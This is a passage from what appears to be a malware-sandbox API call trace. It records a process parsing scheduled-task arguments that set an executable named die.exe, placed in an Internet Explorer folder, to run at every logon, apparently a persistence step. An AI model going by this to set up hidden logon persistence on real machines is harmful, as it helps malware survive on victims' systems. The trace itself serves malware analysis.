_Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.281] lstrlenW (lpString="sc") returned 2 [0077.281] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.281] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|p|") returned 3 [0077.281] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.282] lstrlenW (lpString="|p|") returned 3 [0077.282] lstrlenW (lpString="|sc|") returned 4 [0077.282] SetLastError (dwErrCode=0x490) [0077.282] lstrlenW (lpString="ru") returned 2 [0077.282] lstrlenW (lpString="ru") returned 2 [0077.282] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.282] lstrlenW (lpString="sc") returned 2 [0077.282] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.282] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ru|") returned 4 [0077.282] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.282] lstrlenW (lpString="|ru|") returned 4 [0077.282] lstrlenW (lpString="|sc|") returned 4 [0077.282] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0077.282] SetLastError (dwErrCode=0x490) [0077.282] lstrlenW (lpString="rp") returned 2 [0077.282] lstrlenW (lpString="rp") returned 2 [0077.282] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.282] lstrlenW (lpString="sc") returned 2 [0077.282] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.282] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rp|") returned 4 [0077.282] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.282] lstrlenW (lpString="|rp|") returned 4 [0077.282] lstrlenW (lpString="|sc|") returned 4 [0077.282] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0077.283] SetLastError (dwErrCode=0x490) [0077.283] lstrlenW (lpString="sc") returned 2 [0077.283] lstrlenW (lpString="sc") returned 2 [0077.283] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.283] lstrlenW (lpString="sc") returned 2 [0077.283] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.283] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.283] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.283] lstrlenW (lpString="|sc|") returned 4 [0077.283] lstrlenW (lpString="|sc|") returned 4 [0077.283] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0077.283] SetLastError (dwErrCode=0x0) [0077.283] SetLastError (dwErrCode=0x0) [0077.283] lstrlenW (lpString="ONLOGON") returned 7 [0077.283] lstrlenW (lpString="-/") returned 2 [0077.283] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0077.283] SetLastError (dwErrCode=0x490) [0077.283] SetLastError (dwErrCode=0x490) [0077.283] SetLastError (dwErrCode=0x0) [0077.283] lstrlenW (lpString="ONLOGON") returned 7 [0077.283] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0077.283] SetLastError (dwErrCode=0x490) [0077.283] SetLastError (dwErrCode=0x0) [0077.283] GetProcessHeap () returned 0x3a0000 [0077.283] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bd680 [0077.284] _memicmp (_Buf1=0x3bd680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.284] lstrlenW (lpString="ONLOGON") returned 7 [0077.284] GetProcessHeap () returned 0x3a0000 [0077.284] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x10) returned 0x3bd6a0 [0077.284] lstrlenW (lpString="ONLOGON") returned 7 [0077.284] lstrlenW (lpString=" \x09") returned 2 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x4c) returned 0x0 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0077.284] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0077.284] GetLastError () returned 0x0 [0077.284] lstrlenW (lpString="ONLOGON") returned 7 [0077.284] lstrlenW (lpString="ONLOGON") returned 7 [0077.284] SetLastError (dwErrCode=0x0) [0077.284] SetLastError (dwErrCode=0x0) [0077.284] lstrlenW (lpString="/tr") returned 3 [0077.284] lstrlenW (lpString="-/") returned 2 [0077.284] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.284] lstrlenW (lpString="create") returned 6 [0077.284] lstrlenW (lpString="create") returned 6 [0077.284] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.284] lstrlenW (lpString="tr") returned 2 [0077.284] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.285] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|create|") returned 8 [0077.285] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.285] lstrlenW (lpString="|create|") returned 8 [0077.285] lstrlenW (lpString="|tr|") returned 4 [0077.285] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0077.285] SetLastError (dwErrCode=0x490) [0077.285] lstrlenW (lpString="?") returned 1 [0077.285] lstrlenW (lpString="?") returned 1 [0077.285] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.285] lstrlenW (lpString="tr") returned 2 [0077.285] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.285] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|?|") returned 3 [0077.285] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.285] lstrlenW (lpString="|?|") returned 3 [0077.285] lstrlenW (lpString="|tr|") returned 4 [0077.285] SetLastError (dwErrCode=0x490) [0077.285] lstrlenW (lpString="s") returned 1 [0077.285] lstrlenW (lpString="s") returned 1 [0077.285] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.285] lstrlenW (lpString="tr") returned 2 [0077.285] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.285] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|s|") returned 3 [0077.285] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.285] lstrlenW (lpString="|s|") returned 3 [0077.285] lstrlenW (lpString="|tr|") returned 4 [0077.285] SetLastError (dwErrCode=0x490) [0077.286] lstrlenW (lpString="u") returned 1 [0077.286] lstrlenW (lpString="u") returned 1 [0077.286] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.286] lstrlenW (lpString="tr") returned 2 [0077.286] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.286] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|u|") returned 3 [0077.286] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.286] lstrlenW (lpString="|u|") returned 3 [0077.286] lstrlenW (lpString="|tr|") returned 4 [0077.286] SetLastError (dwErrCode=0x490) [0077.286] lstrlenW (lpString="p") returned 1 [0077.286] lstrlenW (lpString="p") returned 1 [0077.286] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.286] lstrlenW (lpString="tr") returned 2 [0077.286] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.286] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|p|") returned 3 [0077.286] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.286] lstrlenW (lpString="|p|") returned 3 [0077.286] lstrlenW (lpString="|tr|") returned 4 [0077.286] SetLastError (dwErrCode=0x490) [0077.286] lstrlenW (lpString="ru") returned 2 [0077.286] lstrlenW (lpString="ru") returned 2 [0077.286] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.286] lstrlenW (lpString="tr") returned 2 [0077.286] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.287] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|ru|") returned 4 [0077.287] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.287] lstrlenW (lpString="|ru|") returned 4 [0077.287] lstrlenW (lpString="|tr|") returned 4 [0077.287] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0077.287] SetLastError (dwErrCode=0x490) [0077.287] lstrlenW (lpString="rp") returned 2 [0077.287] lstrlenW (lpString="rp") returned 2 [0077.287] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.287] lstrlenW (lpString="tr") returned 2 [0077.287] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.287] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rp|") returned 4 [0077.287] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.287] lstrlenW (lpString="|rp|") returned 4 [0077.287] lstrlenW (lpString="|tr|") returned 4 [0077.287] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0077.287] SetLastError (dwErrCode=0x490) [0077.287] lstrlenW (lpString="sc") returned 2 [0077.287] lstrlenW (lpString="sc") returned 2 [0077.287] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.287] lstrlenW (lpString="tr") returned 2 [0077.287] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.287] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|sc|") returned 4 [0077.287] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.288] lstrlenW (lpString="|sc|") returned 4 [0077.288] lstrlenW (lpString="|tr|") returned 4 [0077.288] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0077.288] SetLastError (dwErrCode=0x490) [0077.288] lstrlenW (lpString="mo") returned 2 [0077.288] lstrlenW (lpString="mo") returned 2 [0077.288] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.288] lstrlenW (lpString="tr") returned 2 [0077.288] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.288] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|mo|") returned 4 [0077.288] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.288] lstrlenW (lpString="|mo|") returned 4 [0077.288] lstrlenW (lpString="|tr|") returned 4 [0077.288] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0077.288] SetLastError (dwErrCode=0x490) [0077.288] lstrlenW (lpString="d") returned 1 [0077.288] lstrlenW (lpString="d") returned 1 [0077.288] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.288] lstrlenW (lpString="tr") returned 2 [0077.288] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.288] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|d|") returned 3 [0077.288] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.288] lstrlenW (lpString="|d|") returned 3 [0077.288] lstrlenW (lpString="|tr|") returned 4 [0077.288] SetLastError (dwErrCode=0x490) [0077.288] lstrlenW (lpString="m") returned 1 [0077.289] lstrlenW (lpString="m") returned 1 [0077.289] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.289] lstrlenW (lpString="tr") returned 2 [0077.289] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.289] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|m|") returned 3 [0077.289] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.289] lstrlenW (lpString="|m|") returned 3 [0077.289] lstrlenW (lpString="|tr|") returned 4 [0077.289] SetLastError (dwErrCode=0x490) [0077.289] lstrlenW (lpString="i") returned 1 [0077.289] lstrlenW (lpString="i") returned 1 [0077.289] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.289] lstrlenW (lpString="tr") returned 2 [0077.289] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.289] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|i|") returned 3 [0077.289] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.289] lstrlenW (lpString="|i|") returned 3 [0077.289] lstrlenW (lpString="|tr|") returned 4 [0077.289] SetLastError (dwErrCode=0x490) [0077.289] lstrlenW (lpString="tn") returned 2 [0077.289] lstrlenW (lpString="tn") returned 2 [0077.289] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.289] lstrlenW (lpString="tr") returned 2 [0077.289] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.290] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tn|") returned 4 [0077.290] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.290] lstrlenW (lpString="|tn|") returned 4 [0077.290] lstrlenW (lpString="|tr|") returned 4 [0077.290] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0077.290] SetLastError (dwErrCode=0x490) [0077.290] lstrlenW (lpString="tr") returned 2 [0077.290] lstrlenW (lpString="tr") returned 2 [0077.290] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.290] lstrlenW (lpString="tr") returned 2 [0077.290] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.290] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.290] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|tr|") returned 4 [0077.290] lstrlenW (lpString="|tr|") returned 4 [0077.290] lstrlenW (lpString="|tr|") returned 4 [0077.314] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0077.314] SetLastError (dwErrCode=0x0) [0077.314] SetLastError (dwErrCode=0x0) [0077.314] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.314] lstrlenW (lpString="-/") returned 2 [0077.314] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.314] SetLastError (dwErrCode=0x490) [0077.315] SetLastError (dwErrCode=0x490) [0077.315] SetLastError (dwErrCode=0x0) [0077.315] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.315] StrChrIW (lpStart="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'", wMatch=0x3a) returned=":\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'" [0077.315] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.315] _memicmp (_Buf1=0x3bc430, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.315] _memicmp (_Buf1=0x3bc470, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.315] SetLastError (dwErrCode=0x7a) [0077.315] SetLastError (dwErrCode=0x0) [0077.315] SetLastError (dwErrCode=0x0) [0077.315] lstrlenW (lpString="'C") returned 2 [0077.315] lstrlenW (lpString="-/") returned 2 [0077.315] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0077.315] SetLastError (dwErrCode=0x490) [0077.315] SetLastError (dwErrCode=0x490) [0077.315] SetLastError (dwErrCode=0x0) [0077.315] _memicmp (_Buf1=0x3bd680, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.315] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.315] GetProcessHeap () returned 0x3a0000 [0077.315] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bd6a0) returned 1 [0077.315] GetProcessHeap () returned 0x3a0000 [0077.315] RtlReAllocateHeap (Heap=0x3a0000, Flags=0xc, Ptr=0x3bd6a0, Size=0x74) returned 0x3bc3b0 [0077.315] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.315] lstrlenW (lpString=" \x09") returned 2 [0077.315] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0077.315] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0077.315] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0077.316] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0077.316] StrChrW (lpStart=" \x09", wMatch=0x28) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x38) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x29) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.316] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0077.317] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x50) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x64) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0077.317] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0077.317] GetLastError () returned 0x0 [0077.318] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.318] lstrlenW (lpString="'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'") returned 57 [0077.318] SetLastError (dwErrCode=0x0) [0077.318] SetLastError (dwErrCode=0x0) [0077.318] lstrlenW (lpString="/rl") returned 3 [0077.318] lstrlenW (lpString="-/") returned 2 [0077.318] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.318] lstrlenW (lpString="create") returned 6 [0077.318] lstrlenW (lpString="create") returned 6 [0077.318] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.318] lstrlenW (lpString="rl") returned 2 [0077.318] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.318] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|create|") returned 8 [0077.318] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.318] lstrlenW (lpString="|create|") returned 8 [0077.318] lstrlenW (lpString="|rl|") returned 4 [0077.318] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0077.318] SetLastError (dwErrCode=0x490) [0077.318] lstrlenW (lpString="?") returned 1 [0077.318] lstrlenW (lpString="?") returned 1 [0077.318] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.318] lstrlenW (lpString="rl") returned 2 [0077.318] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.318] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|?|") returned 3 [0077.318] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.319] lstrlenW (lpString="|?|") returned 3 [0077.319] lstrlenW (lpString="|rl|") returned 4 [0077.319] SetLastError (dwErrCode=0x490) [0077.319] lstrlenW (lpString="s") returned 1 [0077.319] lstrlenW (lpString="s") returned 1 [0077.319] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.319] lstrlenW (lpString="rl") returned 2 [0077.319] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.319] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|s|") returned 3 [0077.319] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.319] lstrlenW (lpString="|s|") returned 3 [0077.319] lstrlenW (lpString="|rl|") returned 4 [0077.319] SetLastError (dwErrCode=0x490) [0077.319] lstrlenW (lpString="u") returned 1 [0077.319] lstrlenW (lpString="u") returned 1 [0077.319] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.319] lstrlenW (lpString="rl") returned 2 [0077.319] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.319] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|u|") returned 3 [0077.319] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.319] lstrlenW (lpString="|u|") returned 3 [0077.319] lstrlenW (lpString="|rl|") returned 4 [0077.319] SetLastError (dwErrCode=0x490) [0077.319] lstrlenW (lpString="p") returned 1 [0077.319] lstrlenW (lpString="p") returned 1 [0077.319] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.320] lstrlenW (lpString="rl") returned 2 [0077.320] _memicmp (_Buf1=0x3bc340, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.320] _vsnwprintf (in: _Buffer=0x3bc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|p|") returned 3 [0077.320] _vsnwprintf (in: _Buffer=0x3bc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x27c6e8 | out: _Buffer="|rl|") returned 4 [0077.320] lstrlenW (lpString="|p|") returned 3 [0077.320] lstrlenW (lpString="|rl|") returned 4 [0077.320] SetLastError (dwErrCode=0x490) [0077.320] lstrlenW (lpString="ru") returned 2 [0077.320] lstrlenW (lpString="ru") returned 2 [0077.320] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.320] lstrlenW (lpString="rl") returned 2 [0077.320] _memicmp 